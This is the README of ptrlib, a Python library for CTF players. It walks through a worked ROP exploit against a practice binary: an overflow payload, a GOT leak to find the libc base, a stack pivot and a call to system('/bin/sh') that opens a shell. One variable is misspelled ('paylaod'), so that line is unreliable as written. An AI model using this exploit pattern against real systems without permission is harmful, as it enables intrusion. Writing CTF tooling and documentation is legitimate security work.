rqdaa / ptrlib

Python library for CTFer

ptrlib

Python library which bundles security-related utilities.

Description

Ptrlib is a Python library for CTF players. It's designed to make it easy to write a complex program of cryptography, networking, exploit and so on.

Why not pwntools?

Ptrlib is designed to be as library-independent as possible. Also, ptrlib has some pros such as supporting Windows process.

Requirements

Supports: Python 3.8 or later

Library Dependency:

• pycryptodome
• pywin32 (when handling Windows process)

External Program:

• When using SSH function:
  • ssh
  • expect
• When using nasm function:
  • nasm

Usage

Basic examples are available at /examples.

Testcases under /tests may also help you understand ptrlib.

Quick Document

There are many functions in ptrlib. In this section we try using it for a pwnable task.

You can run executable or create socket like this:

sock = Process("./pwn01")
sock = Process(["./pwn01", "--debug"])
sock = Socket("localhost", 1234)
sock = SSH("example.com", 22, username="ubuntu", password="p4s$w0rd")
sock = SSH("example.com", 22, username="ubuntu", identity="./id_rsa")

If you have the target binary or libc, it's recommended to load them first.

elf = ELF("./pwn01")
libc = ELF("./libc.so.6")

This doesn't fully analyse the binary so that it runs fast. Also, ELF class supports cache to reduce calculation.

You can use some useful methods such as got, plt, symbol, section and so on. The following is an example to craft ROP stager.

"""
Connect to host
"""
# Host name supports CTF-style
sock = Socket("nc localhost 1234")
# You can show hexdump for received/sent data for debug
#sock.debug = True

"""
Write ROP chain
"""
addr_stage2 = elf.section(".bss") + 0x400

payload = b'A' * 0x108
payload += flat([
  # puts(puts@got)
  next(elf.gadget("pop rdi; ret;")),
  elf.got("puts"),
  elf.plt("puts"),
  # gets(stage2)
  next(elf.gadget("pop rdi; ret;")),
  addr_stage2,
  elf.plt("gets"),
  # stack pivot
  next(elf.gadget("pop rbp; ret;")),
  addr_stage2,
  next(elf.gadget("leave\n ret")) # GCC-style
], map=p64)
sock.sendlineafter("Data: ", payload)

"""
Leak libc address
"""
# You don't need to fill 8 bytes for u64
leak = u64(sock.recvline())
# This will show warning if base address looks incorrect
libc.base = leak - libc.symbol("puts")

payload  = b'A' * 8
paylaod += p64(next(elf.gadget("ret")))
# Automatically rebase after <ELF>.base is set
payload += p64(next(libc.search("/bin/sh")))
payload += p64(libc.symbol("system"))

# Shows warning if payload contains a character `gets` cannot accept
is_gets_safe(payload) # is_[cin/fgets/gets/getline/scanf/stream]_safe

sock.sendline(payload)

sock.sh() # or sock.interactive()

Interaction with curses is supported since 2.1.0.

sock.recvscreen()
if sock.recvscreen(returns=list)[1][1] == '#':
  sock.sendctrl("up")
else:
  sock.sendctrl("esc")

Install

Run pip install --upgrade ptrlib or python setup.py install.

Licence

MIT

Author

ptr-yudai

Contributor

Feel free to make a pull request / issue :)

• theoremoon
  • Added/fixed several cryptography functions
  • Added buffering of Socket/Process
  • Added status check (CI test)
• keymoon
  • Added algorithm package